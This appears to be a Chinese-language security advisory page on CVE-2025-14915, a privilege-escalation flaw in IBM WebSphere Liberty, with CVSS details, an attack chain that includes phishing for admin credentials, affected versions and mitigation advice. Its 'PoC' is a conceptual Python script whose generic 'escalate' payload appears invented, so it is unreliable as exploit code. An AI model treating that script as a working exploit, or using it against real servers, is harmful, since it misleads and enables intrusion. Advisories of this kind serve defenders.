IPBUF安全漏洞报告
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CVE-2025-14915 CVSS 6.5 中危

CVE-2025-14915 IBM WebSphere Liberty权限提升漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2025-14915
漏洞类型
权限提升
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
IBM WebSphere Application Server - Liberty

相关标签

权限提升CVE-2025-14915IBMWebSphereLiberty中危

漏洞概述

IBM WebSphere Application Server Liberty 17.0.0.3至26.0.0.3版本存在权限提升漏洞。由于安全验证机制缺陷,已具备高权限的攻击者可通过网络发起攻击,获取对应用服务器的额外访问权限。该漏洞可能导致敏感信息泄露及数据完整性受损,但对系统可用性无影响。建议相关用户及时排查并修复。

技术细节

该漏洞源于IBM WebSphere Liberty在处理特权用户请求时的访问控制逻辑缺陷。尽管攻击者需要拥有高权限账户(PR:H),但系统未能正确界定该账户的操作边界。攻击者可利用此漏洞,构造特制的网络请求绕过内部安全检查,从而获得超出原角色的系统控制权。利用此漏洞,攻击者能够读取敏感配置数据(C:H)或篡改关键应用文件(I:H),严重威胁服务器安全,但不会直接导致服务拒绝(A:N)。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标为IBM WebSphere Application Server Liberty,并确认其版本在受影响范围内(17.0.0.3至26.0.0.3)。
STEP 2
2. 获取初始权限
攻击者通过钓鱼、社会工程学或其他漏洞获取一个合法的高权限用户凭证(满足PR:H条件)。
STEP 3
3. 发起攻击
攻击者使用获取的凭证,向服务器发送特制的网络请求,利用访问控制逻辑缺陷尝试提升权限。
STEP 4
4. 权限维持与利用
成功利用后,攻击者获得额外访问权限,读取敏感数据或修改服务器配置,达成机密性和完整性破坏目标。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Conceptual PoC for CVE-2025-14915 # Target: IBM WebSphere Application Server Liberty # Note: This requires a valid high-privileged session. target_url = "https://target-server:9443/ibm/api/admin/config/authorization" headers = { "Authorization": "Bearer <valid_high_privilege_token>", "Content-Type": "application/json" } # Payload attempting to exploit privilege escalation payload = { "operation": "escalate", "targetRole": "administrator" } try: response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200 and "administrator" in response.text: print("[+] Privilege escalation vulnerability confirmed!") print("[+] Granted access:", response.json()) else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"Error: {e}")

影响范围

IBM WebSphere Application Server Liberty 17.0.0.3
IBM WebSphere Application Server Liberty 17.0.0.4
IBM WebSphere Application Server Liberty 18.0.0.1
IBM WebSphere Application Server Liberty 18.0.0.2
IBM WebSphere Application Server Liberty 18.0.0.3
IBM WebSphere Application Server Liberty 19.0.0.1
IBM WebSphere Application Server Liberty 19.0.0.2
IBM WebSphere Application Server Liberty 19.0.0.3
IBM WebSphere Application Server Liberty 20.0.0.1
IBM WebSphere Application Server Liberty 20.0.0.2
IBM WebSphere Application Server Liberty 20.0.0.3
IBM WebSphere Application Server Liberty 20.0.0.4
IBM WebSphere Application Server Liberty 20.0.0.5
IBM WebSphere Application Server Liberty 20.0.0.6
IBM WebSphere Application Server Liberty 20.0.0.7
IBM WebSphere Application Server Liberty 20.0.0.8
IBM WebSphere Application Server Liberty 20.0.0.9
IBM WebSphere Application Server Liberty 20.0.0.10
IBM WebSphere Application Server Liberty 20.0.0.11
IBM WebSphere Application Server Liberty 20.0.0.12
IBM WebSphere Application Server Liberty 21.0.0.1
IBM WebSphere Application Server Liberty 21.0.0.2
IBM WebSphere Application Server Liberty 21.0.0.3
IBM WebSphere Application Server Liberty 21.0.0.4
IBM WebSphere Application Server Liberty 21.0.0.5
IBM WebSphere Application Server Liberty 21.0.0.6
IBM WebSphere Application Server Liberty 21.0.0.7
IBM WebSphere Application Server Liberty 21.0.0.8
IBM WebSphere Application Server Liberty 21.0.0.9
IBM WebSphere Application Server Liberty 21.0.0.10
IBM WebSphere Application Server Liberty 21.0.0.11
IBM WebSphere Application Server Liberty 21.0.0.12
IBM WebSphere Application Server Liberty 22.0.0.1
IBM WebSphere Application Server Liberty 22.0.0.2
IBM WebSphere Application Server Liberty 22.0.0.3
IBM WebSphere Application Server Liberty 22.0.0.4
IBM WebSphere Application Server Liberty 22.0.0.5
IBM WebSphere Application Server Liberty 22.0.0.6
IBM WebSphere Application Server Liberty 22.0.0.7
IBM WebSphere Application Server Liberty 22.0.0.8
IBM WebSphere Application Server Liberty 22.0.0.9
IBM WebSphere Application Server Liberty 22.0.0.10
IBM WebSphere Application Server Liberty 22.0.0.11
IBM WebSphere Application Server Liberty 22.0.0.12
IBM WebSphere Application Server Liberty 22.0.0.13
IBM WebSphere Application Server Liberty 23.0.0.1
IBM WebSphere Application Server Liberty 23.0.0.2
IBM WebSphere Application Server Liberty 23.0.0.3
IBM WebSphere Application Server Liberty 23.0.0.4
IBM WebSphere Application Server Liberty 23.0.0.5
IBM WebSphere Application Server Liberty 23.0.0.6
IBM WebSphere Application Server Liberty 23.0.0.7
IBM WebSphere Application Server Liberty 23.0.0.8
IBM WebSphere Application Server Liberty 23.0.0.9
IBM WebSphere Application Server Liberty 23.0.0.10
IBM WebSphere Application Server Liberty 23.0.0.11
IBM WebSphere Application Server Liberty 23.0.0.12
IBM WebSphere Application Server Liberty 24.0.0.1
IBM WebSphere Application Server Liberty 24.0.0.2
IBM WebSphere Application Server Liberty 24.0.0.3
IBM WebSphere Application Server Liberty 24.0.0.4
IBM WebSphere Application Server Liberty 24.0.0.5
IBM WebSphere Application Server Liberty 24.0.0.6
IBM WebSphere Application Server Liberty 24.0.0.7
IBM WebSphere Application Server Liberty 24.0.0.8
IBM WebSphere Application Server Liberty 24.0.0.9
IBM WebSphere Application Server Liberty 24.0.0.10
IBM WebSphere Application Server Liberty 24.0.0.11
IBM WebSphere Application Server Liberty 24.0.0.12
IBM WebSphere Application Server Liberty 24.0.0.13
IBM WebSphere Application Server Liberty 25.0.0.1
IBM WebSphere Application Server Liberty 25.0.0.2
IBM WebSphere Application Server Liberty 25.0.0.3
IBM WebSphere Application Server Liberty 25.0.0.4
IBM WebSphere Application Server Liberty 25.0.0.5
IBM WebSphere Application Server Liberty 25.0.0.6
IBM WebSphere Application Server Liberty 25.0.0.7
IBM WebSphere Application Server Liberty 25.0.0.8
IBM WebSphere Application Server Liberty 25.0.0.9
IBM WebSphere Application Server Liberty 25.0.0.10
IBM WebSphere Application Server Liberty 25.0.0.11
IBM WebSphere Application Server Liberty 25.0.0.12
IBM WebSphere Application Server Liberty 25.0.0.13
IBM WebSphere Application Server Liberty 26.0.0.1
IBM WebSphere Application Server Liberty 26.0.0.2
IBM WebSphere Application Server Liberty 26.0.0.3

防御指南

临时缓解措施
如果无法立即升级,建议严格限制管理员账户的使用,仅允许来自受信任网络的访问,并密切监控服务器日志以检测异常的权限提升行为。

参考链接

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